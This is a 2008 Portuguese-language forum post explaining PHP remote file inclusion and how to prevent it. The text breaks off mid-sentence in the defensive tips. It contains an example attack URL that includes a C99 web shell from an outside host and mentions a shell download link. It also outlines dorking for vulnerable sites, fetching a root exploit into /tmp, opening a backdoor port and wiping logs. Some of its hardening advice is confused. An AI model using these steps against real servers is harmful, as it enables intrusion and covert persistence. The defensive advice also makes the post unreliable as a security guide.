Explorando PHP injection e como evitar

Started by C00L3R, 11 de December , 2008, 12:05:29 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

C00L3R

Bem Php injection é vulnerabilidade bem antiga ela permite que um host
seja atacado por injeção de codigos, feitos pelo navegador por exemplo:

http://www.site./page.php?page=76be

bem quando um cracker ou lammer ve isso ele ja injeta uma cmd para ver se esta vuln

http://www.site./page.php?page=http://cmd.com/c99.txt?

se estiver vuln ele ira voltar com a "CMD" com os comandos do server para executar etc... Cmds mais populares he o C99 e o R57 tem algumas priv8

na foto C99 Shell
Como achar servers vuln?
Bem com google a busca fica bem mais facil porem visitar site por site é um serviço
ruin tem por ai teams de defacers que tem seus proprios tools entre eles o grupo Xroot
que tem um programa com mesmo nome que busca Links com uma string no google depois
pode tratar estes links de qualquer forma apagar tudo que tiver na frente de "="  tudo isso
he feito com regex... com scan tambem é possivel testar se as paginas estão  apartir de uma
palavra que esteja na "CMD" vuln...

Como evito este tipo de ataque no meu servidor ?
Simples sempre mantenha tudo atualizado desde o apache ate os plugs php,cgi,perl... outra tica seria no php.ini deixa "safe mode off" e evitar no maximo variaveis globais outra maneira para evitar seria dixar o kernel imutavel e setar as permisões para "755" la no htdocs é isso...  Quanto menos softwares rodando no servidor mais seguro ele fica...

Onde acho programa para  ajudar a fazer ataques php-injection? Bem não é facil achar memso por que quem tem não passa ,deixa a source priv8,Mas em perl,shellscript postei alguns neste forum...
mas vo deixar aqui alguma ferramenta...
CMD c99 Shell AQUI
se pegar o C99 hoste em um server não use o do site  ;)
e quando for explorar coloque "?" no final da cmd...vide o inicio do post...

Pronto ja consegui um host vuln e agora?
Bem encontrado um sistema o atacante devera ver o sistema operacional alvo
e a versão do kernel e ver permissões se as mesmas estiver "xrw" liberadas podera fazer o que quiser na pasta htdocs ou no local dar wget ,curl etc...
Se não tiver permissões tera que  ir na pasta "/tmp" dat get num "XPL"
para rootar o kernel...e conseguir acesso ao root feito isso basta fazer o que tem que fazer queimar os logs abrir uma regra no firewall para deixar a porta
do backdoor aberta depois basta queimar os logs...

Ta Ok como evito esta falha no meu server?

1 - Não utilize comandos de inserções em seu código, como 'include', 'include_once', 'require', 'require_once', pois o PHP Injection é "injetado" justamente através desses includes que os "lammerzinhos" descobrem em seu sistema.

2 - Se for utilizar as funções de inserções descritas no item anterior (3), procure sempre validar qualquer valor que poderia recebido através delas (por exemplo, um include que recebe um valor passado por GET, como por exemplo: http://www.seusite.com.br/index.php?pag=downloads.php). Veja que no lugar de downloads.php o "lammer" poderia colocar um site com código-fonte malicioso (que eles chamam de "cmd", ou seja, um arquivo php (ou até mesmo gif, acredita?!) com várias funções como uploads, criar diretórios, remover arquivos, etc.)

3 - Evite, portanto, ficar passando informações via GET  pois os "lammerzinhos" descobrem o que você está pretendendo passar e podem usar isso contra você, caso seu código esteja vulnerável.

4 - Se for utilizar o método GET, procure SEMPRE, SEMPRE, SEMPRE validar tudo o que poderia ser recebido como parâmetro. Se o arquivo a ser incluído estiver em outro servidor (é muito raro, mas pode acontecer), faça um if verificando se o endereço é o que realmente você quer que seja. Você pode também criar um array que lista todas as páginas que poderiam estar sendo passadas via GET, e criar uma função